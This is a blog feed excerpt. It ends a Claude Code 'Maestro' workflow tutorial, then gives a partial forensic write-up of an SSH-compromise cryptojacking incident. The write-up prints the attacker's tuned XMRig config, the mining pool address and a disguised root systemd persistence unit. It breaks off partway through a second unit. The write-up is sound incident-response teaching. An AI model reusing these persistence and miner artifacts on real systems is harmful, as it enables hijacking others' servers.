anzhiyu-icon-arrow-up"></i></button></div></div><hr><h2 id="第五章-本篇总结">第五章. 本篇总结</h2><p>这一篇我们从零开始，完整走了一遍「装好 Maestro、跑通第一个项目」的全过程。</p><p>安装只需要三步：<code>maestro install</code> 装本体，<code>maestro hooks install --level standard</code> 装自动化，<code>/maestro-init</code> 在项目里初始化。</p><p>主干流程的节奏是固定的：<code>roadmap</code> 规划 → <code>analyze</code> 分析 → <code>plan</code> 规划任务 → <code>execute</code> 执行 → <code>verify</code> 验证，每个 Phase 都走这五步，做完一个 Phase 再做下一个，最后 <code>milestone-audit</code> + <code>milestone-complete</code> 收尾一个里程碑。</p><p>三种启动方式各有适用场景，日常开发推荐逐步推进，需要快速出结果用一键全自动，临时小任务直接用 <code>/maestro-quick</code>。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>安装 Hooks</td><td>第一次装好之后</td><td><code>maestro hooks install --level standard</code></td></tr><tr><td>主干四步流程</td><td>推进每一个 Phase</td><td><code>analyze → plan → execute → verify</code></td></tr><tr><td>一键全自动</td><td>需求明确、想快速出结果</td><td><code>/maestro -y &quot;需求描述&quot;</code></td></tr><tr><td>快速任务</td><td>小 bug、临时分析</td><td><code>/maestro-quick &quot;任务描述&quot;</code></td></tr><tr><td>里程碑收尾</td><td>所有 Phase 跑完之后</td><td><code>milestone-audit → milestone-complete</code></td></tr></tbody></table><hr><h3 id="5-1-本篇速查卡">5.1 本篇速查卡</h3><table><thead><tr><th>我想做什么</th><th>用这个命令</th></tr></thead><tbody><tr><td>初始化一个新项目</td><td><code>/maestro-init</code> + <code>/maestro-roadmap &quot;描述&quot; -y</code></td></tr><tr><td>分析某个阶段</td><td><code>/maestro-analyze 1</code></td></tr><tr><td>规划任务清单</td><td><code>/maestro-plan 1</code></td></tr><tr><td>开始执行</td><td><code>/maestro-execute 1</code></td></tr><tr><td>验证执行结果</td><td><code>/maestro-verify 1</code></td></tr><tr><td>一键跑完所有步骤</td><td><code>/maestro -y &quot;需求描述&quot;</code></td></tr><tr><td>快速修一个 bug</td><td><code>/maestro-quick &quot;任务描述&quot;</code></td></tr><tr><td>不建项目直接分析</td><td><code>/maestro-analyze &quot;分析主题&quot;</code></td></tr><tr><td>收尾一个里程碑</td><td><code>/maestro-milestone-audit</code> + <code>/maestro-milestone-complete</code></td></tr><tr><td>继续上次没做完的</td><td><code>/maestro continue</code></td></tr></tbody></table><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/64326.html</id>
    <link href="https://blog.prorisehub.com/posts/64326.html"/>
    <published>2026-05-01T23:15:45.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><hr>
<h1>第一篇：装好 Maestro，跑通第一个项目</h1>
<div class="note info modern"><p>适用环境：Claude Code 最新版、Node.js 18+、Git]]>
    </summary>
    <title>Claude Code 工作流：Maestro（一） 更优雅的执行工作流快速入门</title>
    <updated>2026-05-07T03:10:50.989Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="AI 编程方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/"/>
    <category term="AI 开发工具系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/"/>
    <category term="工作流篇" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%AF%87/"/>
    <category term="BMAD" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%AF%87/BMAD/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><p>占位</p></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/52512.html</id>
    <link href="https://blog.prorisehub.com/posts/52512.html"/>
    <published>2026-04-30T23:15:45.000Z</published>
    <summary>
      <![CDATA[<div]]>
    </summary>
    <title>工作流篇索引</title>
    <updated>2026-05-07T03:10:50.989Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="踩坑合集" scheme="https://blog.prorisehub.com/categories/%E8%B8%A9%E5%9D%91%E5%90%88%E9%9B%86/"/>
    <category term="系统运维坑" scheme="https://blog.prorisehub.com/categories/%E8%B8%A9%E5%9D%91%E5%90%88%E9%9B%86/%E7%B3%BB%E7%BB%9F%E8%BF%90%E7%BB%B4%E5%9D%91/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>当我的服务器 CPU 跑满 750%：一次门罗币挖矿木马的完整取证与处置复盘</h1><blockquote><p>写于 2026-04-27 晚，事发当日。本文复盘了一次典型的 SSH 弱密码导致的服务器入侵事件，从发现异常到溯源、清理、加固的全过程。所有服务器特征信息（IP、主机名、用户名、密码、邮箱、密钥指纹）已脱敏；攻击者使用的真实路径、矿池地址和攻击源 IP 完整保留——这些是公开的威胁情报，对其他读者有参考价值。</p></blockquote><hr><h2 id="一、那天下午">一、那天下午</h2><p>那是个再普通不过的下午。我手头跑着另一个项目的代码，计划晚上把一个新功能 push 上去。中途切到终端，习惯性地连了一下生产 VPS 看看监控。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh myserver</span><br><span class="line">top</span><br></pre></td></tr></table></figure><p>屏幕亮起来的瞬间，我整个人僵住了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">top - 19:33:48 up 6 days,  2:10,  0 user,  load average: 9.58, 16.63, 13.86</span><br><span class="line">Tasks: 237 total,   2 running, 235 sleeping,   0 stopped,   0 zombie</span><br><span class="line">%Cpu(s): 85.7 us, 14.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st</span><br><span class="line">MiB Mem :   7939.7 total,    862.8 free,   5865.6 used,   1759.7 buff/cache</span><br></pre></td></tr></table></figure><p>这是一台 8 核 8G 的小机器，跑着 OpenWebUI、几个 Java 微服务、MySQL、Redis、MinIO，常年负载 1-3，从来没见过 9.58 这种数字。</p><p>CPU 使用率显示 <code>85.7 us, 14.3 sy, 0.0 id</code>——空闲为 <strong>0</strong>。我盯着 <code>0.0 id</code> 那一行看了好几秒。在我五年的运维经验里，看到 <code>id=0.0</code> 通常意味着两件事中的一件：要么内核出了问题，要么——</p><p>我翻到下面看进程列表：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND</span><br><span class="line">3487998 root       5 -15 2458832   3232    768 S 750.0   0.0      6,15 systemd</span><br><span class="line">3537170 root      20   0 9020004   1.2g 365476 S  18.8  16.1   0:39.55 python3</span><br><span class="line">      1 root      20   0  168396   8084   5520 S   0.0   0.1   0:48.81 systemd</span><br></pre></td></tr></table></figure><p><strong>PID 3487998，进程名 systemd，CPU 占用 750%。</strong></p><p>我心里&quot;咯噔&quot;一下，瞬间清醒了。</p><p>第二行的 <code>python3</code> 是 OpenWebUI，正常。最下面的 <code>PID 1 systemd</code> 也正常——它是真正的系统初始化进程。但 PID <strong>3487998</strong>，进程名也叫 <code>systemd</code>，独占 8 核中的 7.5 核——这是不可能的。</p><p>真正的 systemd 进程只有 PID 1 这一个。任何其他叫 systemd 的进程都不正常。</p><hr><h2 id="二、第一处不对劲：参数太离谱">二、第一处不对劲：参数太离谱</h2><p>我用 <code>ps</code> 拿到完整命令行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps -eo pid,ppid,user,pcpu,pmem,rss,etime,<span class="built_in">stat</span>,cmd --<span class="built_in">sort</span>=-pcpu | <span class="built_in">head</span></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">    PID    PPID USER     %CPU %MEM   RSS     ELAPSED STAT CMD</span><br><span class="line">3487998       1 root      731  0.0  3232       51:21 S&lt;sl systemd -c .config.json</span><br></pre></td></tr></table></figure><p><code>systemd -c .config.json</code>——这个命令行让我笑出声了。</p><p>真正的 systemd 二进制接受的参数是 <code>--system</code>、<code>--user</code>、<code>--unit</code>、<code>--log-level</code> 这一套，<strong>它从来不接受 <code>-c</code> 这种参数</strong>，也绝不会去加载什么 <code>.config.json</code>。systemd 的配置文件是 <code>system.conf</code>、<code>*.service</code> unit 文件、INI 格式，用的解析器是 systemd 自己的。</p><p>这个 <code>-c .config.json</code> 一看就是 <strong>某个用 <a href="https://github.com/jarro2783/cxxopts">cxxopts</a> 或类似命令行库的 C++ 程序</strong>——而碰巧，加密货币挖矿程序最常用的命令行库就是这个。</p><p>更可疑的细节：</p><ul><li><code>RSS</code> 只有 3232 KB——真正的 systemd RSS 通常在 8000+ KB</li><li><code>STAT</code> 是 <code>S&lt;sl</code>，<code>&lt;</code> 表示高优先级（<code>PR=5</code>，<code>NI=-15</code>），普通进程不会无缘无故抢这种优先级</li><li><code>ELAPSED</code> 51 分钟，意味着大约 18:42 启动，那个时间点我没做过任何运维操作</li></ul><p>这时我已经 90% 确定中招了。但我需要&quot;摸到牌面&quot;——拿到铁证，搞清楚是什么、怎么进来的、还有没有其他后门。</p><hr><h2 id="三、-proc-不会撒谎">三、/proc 不会撒谎</h2><p>被入侵的服务器最怕什么？<strong>最怕你看到的东西已经被攻击者动过手脚。</strong></p><p>老牌的 rootkit 会替换 <code>ps</code>、<code>ls</code>、<code>netstat</code>、<code>top</code>，让恶意进程对管理员&quot;隐身&quot;。所以遇到入侵嫌疑的第一反应不应该是相信 <code>ps</code> 的输出，而是<strong>绕过这些用户态工具，直接读内核维护的事实</strong>。</p><p>Linux 上做这件事的最佳工具是 <code>/proc</code> 文件系统——它由内核直接维护，攻击者要&quot;骗&quot;它，得修改内核本身（注入 LKM rootkit），难度比替换几个二进制高几个数量级。</p><p><code>/proc/&lt;pid&gt;/</code> 下我每次都会看的几个文件：</p><table><thead><tr><th>文件</th><th>含义</th><th>为什么不会骗人</th></tr></thead><tbody><tr><td><code>exe</code></td><td>指向真实可执行文件的符号链接</td><td>内核在 <code>execve()</code> 时记录的 dentry，不依赖任何用户态字段</td></tr><tr><td><code>cwd</code></td><td>进程工作目录的符号链接</td><td>同上</td></tr><tr><td><code>cmdline</code></td><td>启动命令行（<code>\0</code> 分隔）</td><td>进程启动时由内核拷贝到内核内存</td></tr><tr><td><code>environ</code></td><td>启动时的环境变量</td><td>同上，<strong>关键证据来源之一</strong></td></tr><tr><td><code>status</code></td><td>UID/GID、内存、状态等</td><td>内核结构体直接 dump</td></tr><tr><td><code>fd/</code></td><td>进程打开的文件描述符</td><td>内核 <code>struct file</code> 表的视图</td></tr><tr><td><code>task/</code></td><td>包含的所有线程</td><td>内核线程表</td></tr></tbody></table><p>我用 sudo 把这些都打了出来：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /proc/3487998/exe</span><br><span class="line"><span class="comment"># lrwxrwxrwx 1 root root 0 Apr 27 19:29 /proc/3487998/exe -&gt; /usr/local/bin/systemd</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">ls</span> -la /proc/3487998/cwd</span><br><span class="line"><span class="comment"># lrwxrwxrwx 1 root root 0 Apr 27 19:34 /proc/3487998/cwd -&gt; /usr/local/bin</span></span><br></pre></td></tr></table></figure><p>铁证一：<strong>真实的可执行文件路径是 <code>/usr/local/bin/systemd</code></strong>——而真正的 systemd 在 <code>/lib/systemd/systemd</code>。攻击者把恶意二进制起名叫 <code>systemd</code> 放到了 <code>/usr/local/bin</code> 里，因为 <code>$PATH</code> 默认就是 <code>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</code>，<code>/usr/local/bin</code> 排在第一个，命令查找会优先命中它。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/3487998/environ | <span class="built_in">tr</span> <span class="string">&#x27;\0&#x27;</span> <span class="string">&#x27;\n&#x27;</span></span><br><span class="line"><span class="comment"># LANG=en_US.UTF-8</span></span><br><span class="line"><span class="comment"># PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</span></span><br><span class="line"><span class="comment"># HOME=/root</span></span><br><span class="line"><span class="comment"># LOGNAME=root</span></span><br><span class="line"><span class="comment"># USER=root</span></span><br><span class="line"><span class="comment"># SHELL=/bin/bash</span></span><br><span class="line"><span class="comment"># INVOCATION_ID=8746afaad3134c028a534d9eebcdf9ed</span></span><br><span class="line"><span class="comment"># JOURNAL_STREAM=8:13033484</span></span><br><span class="line"><span class="comment"># SYSTEMD_EXEC_PID=3487998</span></span><br></pre></td></tr></table></figure><p>铁证二：环境变量里看到 <code>INVOCATION_ID</code> 和 <code>SYSTEMD_EXEC_PID</code>——<strong>这是 systemd 启动一个 service unit 时注入的特殊变量</strong>。换句话说，这个挖矿程序是被一个 systemd 服务单元启动的，而不是攻击者手动 <code>nohup ./xmrig &amp;</code> 那种粗糙做法。这意味着持久化机制（survives reboot）已经被植入。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /proc/3487998/fd/</span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"><span class="comment"># l-wx------ 1 root root 64 Apr 27 19:34 11 -&gt; /usr/local/bin/.bench.log</span></span><br></pre></td></tr></table></figure><p>铁证三：进程在写 <code>/usr/local/bin/.bench.log</code>——这是 <strong>XMRig 矿工的 benchmark 日志文件</strong>的标志性文件名。</p><p>到这一步，<strong>它是 XMRig 已经板上钉钉</strong>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> /proc/3487998/task/ | <span class="built_in">wc</span> -l</span><br><span class="line"><span class="comment"># 14</span></span><br></pre></td></tr></table></figure><p>最后一个细节：14 个线程。这台机器是 8 核，XMRig 的典型配置就是&quot;每个核一个挖矿线程 + 几个网络/控制线程&quot;，14 = 8 + 6 完美吻合。</p><hr><h2 id="四、什么是-XMRig，攻击者为什么选它">四、什么是 XMRig，攻击者为什么选它</h2><p><a href="https://github.com/xmrig/xmrig">XMRig</a> 是一个开源的、用 C++ 写的高性能加密货币矿工，主要支持以下算法：</p><ul><li><strong>RandomX (rx/0)</strong>：门罗币（XMR）使用，专门设计用来&quot;反 ASIC&quot;的算法，对内存延迟非常敏感</li><li><strong>CryptoNight (cn 系列)</strong>：早期门罗币算法，及其变种</li><li><strong>Argon2</strong>：少量小币种使用</li></ul><p>为什么僵尸网络的&quot;标准货&quot;几乎都是 XMRig？</p><p><strong>1. 门罗币（Monero）有强匿名性</strong></p><p>门罗币用环签名（ring signature）+ 一次性地址（stealth address）+ 保密交易（confidential transaction），交易金额、发送方、接收方都是密码学上不可追踪的。比特币用区块链浏览器 5 分钟就能定位到一个钱包，而门罗币几乎做不到。攻击者把挖出来的币转到任何匿名钱包，洗钱成本极低。</p><p><strong>2. RandomX 算法可以&quot;白嫖&quot;普通服务器 CPU</strong></p><p>RandomX 的设计哲学就是&quot;让 ASIC 没意义&quot;——它要求矿工执行一段每个 nonce 都不同的随机指令序列，这段序列严重依赖通用 CPU 的乱序执行、分支预测、缓存层级，专用电路做这事反而比 CPU 慢。这意味着随便一台 VPS 都是合格的矿机。攻击者无需准备专用硬件，挖到就是赚到。</p><p><strong>3. XMRig 是开源的，魔改成本为零</strong></p><p>代码在 GitHub 上随便看，编译一份静态链接的二进制，扔到任何 Linux 机器上都能跑。攻击脚本只需要 <code>wget xmrig</code> + 一个 systemd unit + 一个 config.json，整个部署不到 30 行 bash。</p><p>我打开了 <code>/usr/local/bin/.config.json</code>，部分摘录：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;randomx&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;init&quot;</span><span class="punctuation">:</span> <span class="number">-1</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;init-avx2&quot;</span><span class="punctuation">:</span> <span class="number">-1</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;auto&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;1gb-pages&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;rdmsr&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;wrmsr&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cache_qos&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;numa&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;scratchpad_prefetch_mode&quot;</span><span class="punctuation">:</span> <span class="number">1</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;cpu&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;enabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;huge-pages&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;huge-pages-jit&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;priority&quot;</span><span class="punctuation">:</span> <span class="number">5</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;yield&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;asm&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;argon2&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="number">0</span><span class="punctuation">,</span> <span class="number">1</span><span class="punctuation">,</span> <span class="number">2</span><span class="punctuation">,</span> <span class="number">3</span><span class="punctuation">,</span> <span class="number">4</span><span class="punctuation">,</span> <span class="number">5</span><span class="punctuation">,</span> <span class="number">6</span><span class="punctuation">,</span> <span class="number">7</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cn&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">0</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">1</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">2</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">3</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">4</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">5</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">6</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="punctuation">[</span><span class="number">1</span><span class="punctuation">,</span> <span class="number">7</span><span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>读得懂的人能立刻看出几个进阶玩法：</p><ul><li><code>1gb-pages: true</code>：使用 1GB 透明大页，减少 TLB miss，对 RandomX 算法可以提升 5-10% 算力</li><li><code>rdmsr/wrmsr: true</code>：直接读写 CPU 的 Model Specific Registers，关掉某些预取器、调整缓存策略，能再提 3-5%</li><li><code>huge-pages: true</code> + <code>priority: 5</code>：内存大页 + 调度高优先级</li><li><code>cn: [[1, 0], [1, 1], ...]</code>：CryptoNight 配置，每核 1 线程 1 路 hash</li></ul><p>这是一份<strong>经过性能调优的、不打算被发现的、想长期白嫖</strong>的配置。攻击者甚至还专门 <code>apt install msr-tools</code> 用于读写 MSR 寄存器——后面会讲到这一步在 sudo 日志里的痕迹。</p><hr><h2 id="五、矿池揭面">五、矿池揭面</h2><p>我用 <code>journalctl</code> 查这个进程的标准输出（systemd 启动的进程，stdout 会走到 journal）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">journalctl _SYSTEMD_INVOCATION_ID=8746afaad3134c028a534d9eebcdf9ed --no-pager -n 30</span><br></pre></td></tr></table></figure><p>这里要插一句关于 <code>INVOCATION_ID</code> 的小知识。</p><p><strong>INVOCATION_ID</strong> 是 systemd 给每一次 service 启动分配的 128 位 UUID。即使同一个 service 被 restart 多次，每一次 invocation 都有独立的 ID。它会被注入到目标进程的环境变量里，同时 journal 也会用它给这次启动产生的所有日志打 tag。这给我们一个非常强大的能力：<strong>给定一个正在运行的进程，反查它产生的全部日志</strong>，不管中间还有多少其他服务在写 journal。</p><p>所以上面这条命令的意思是：“把 invocation ID 等于 8746afaa… 的服务的所有 journal 给我”。</p><p>输出第一行就让我笑出声：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Apr 27 19:18:55 systemd[3487998]: cpu  accepted (15/1) diff 480636 (206 ms)</span><br><span class="line">Apr 27 19:19:04 systemd[3487998]: net  new job from xmr.kryptex.network:8029 diff 480636 algo rx/0 height 3661577 (10 tx)</span><br><span class="line">Apr 27 19:19:35 systemd[3487998]: miner speed 10s/60s/15m 1714.4 1937.2 2213.1 H/s max 2670.5 H/s</span><br></pre></td></tr></table></figure><p>矿池：<strong><code>xmr.kryptex.network:8029</code></strong>。</p><p><a href="https://kryptex.com/">Kryptex</a> 是个真实的、合法注册的商业矿池，提供托管挖矿服务、桌面客户端、收益统计。攻击者甚至懒得自建矿池，直接用商业服务，这种&quot;去中心化&quot;的设计让追踪攻击者钱包几乎不可能——就算执法机构联系到 Kryptex，矿池也只能交出一个匿名 worker ID 的 hash 算力数据，钱早就被结算到匿名地址。</p><p>算法是 <code>rx/0</code>，即 <strong>RandomX 0 号变体</strong>，门罗币当前主网算法。</p><p>算力 <code>2213.1 H/s</code> 是 8 核 VPS 的合理水平。按 2026-04-27 当时的全网难度和 XMR 价格估算，单台机器一天能给攻击者贡献的收益大约是几角到一块多人民币。看起来不多——但僵尸网络管理员手里有几千几万台这样的机器，<strong>规模化之后是稳定的现金流</strong>，而成本是零。</p><hr><h2 id="六、持久化：被植入的两个-systemd-unit">六、持久化：被植入的两个 systemd unit</h2><p>按图索骥找持久化机制。我已经知道这进程是被 systemd 拉起来的，所以直接去 <code>/etc/systemd/system/</code> 里找时间戳异常的文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /etc/systemd/system/*.service /etc/systemd/system/*.timer</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">-rw-r--r-- 1 root root 357 Mar  1 10:42 /etc/systemd/system/1panel.service</span><br><span class="line">-rw-r--r-- 1 root root 226 Apr 27 18:42 /etc/systemd/system/observed.service</span><br><span class="line">-rw-r--r-- 1 root root 201 Oct  7  2025 /etc/systemd/system/sshd-setup.service</span><br><span class="line">-rw-r--r-- 1 root root 259 Apr 27 18:42 /etc/systemd/system/systemd.service</span><br></pre></td></tr></table></figure><p>两个时间戳是 <code>Apr 27 18:42</code> 的文件，都是今天下午——和那个挖矿进程的启动时间戳完美对得上。文件名一个叫 <code>systemd.service</code>，一个叫 <code>observed.service</code>。</p><p><code>systemd.service</code> 内容：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[Unit]</span></span><br><span class="line"><span class="attr">Description</span>=System Proxy Service</span><br><span class="line"><span class="attr">After</span>=network.target</span><br><span class="line"></span><br><span class="line"><span class="section">[Service]</span></span><br><span class="line"><span class="attr">ExecStart</span>=systemd -c .config.json</span><br><span class="line"><span class="attr">WorkingDirectory</span>=/usr/local/bin</span><br><span class="line"><span class="attr">User</span>=root</span><br><span class="line"><span class="attr">Group</span>=root</span><br><span class="line"><span class="attr">Restart</span>=always</span><br><span class="line"><span class="attr">RestartSec</span>=<span class="number">30</span></span><br><span class="line"><span class="attr">LimitNOFILE</span>=<span class="number">8192</span></span><br><span class="line"><span class="attr">LimitNPROC</span>=<span class="number">8192</span></span><br><span class="line"></span><br><span class="line"><span class="section">[Install]</span></span><br><span class="line"><span class="attr">WantedBy</span>=multi-user.target</span><br></pre></td></tr></table></figure><p>这个 unit 文件的几个魔鬼细节：</p><ol><li><strong>文件名叫 <code>systemd.service</code></strong>：当 ops 用 <code>systemctl list-unit-files</code> 看的时候，这个名字会被自动归到一堆系统自带 systemd-* unit 中间，扫一眼很难发现异常</li><li><strong>Description 是 “System Proxy Service”</strong>：故意起得像 Linux 的官方服务名</li><li><strong>ExecStart=systemd</strong>：因为 WorkingDirectory 是 <code>/usr/local/bin</code>，且 <code>/usr/local/bin</code> 在 PATH 第一位，所以这里写裸名 <code>systemd</code> 命中的是攻击者放的那份，不是系统真的 systemd</li><li><strong>Restart=always + RestartSec=30</strong>：你 <code>kill -9</code> 也没用，30 秒后死灰复燃</li><li><strong>User=root</strong>：直接拿到 root 权限挖矿（用 root 是为了 1GB 大页和 MSR 寄存器，这两个特性都需要 CAP_SYS_RAWIO）</li></ol><p><code>observed.service</code>：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[Unit]</span></span><br><span class="line"><span class="attr">Description</span>=System Observer 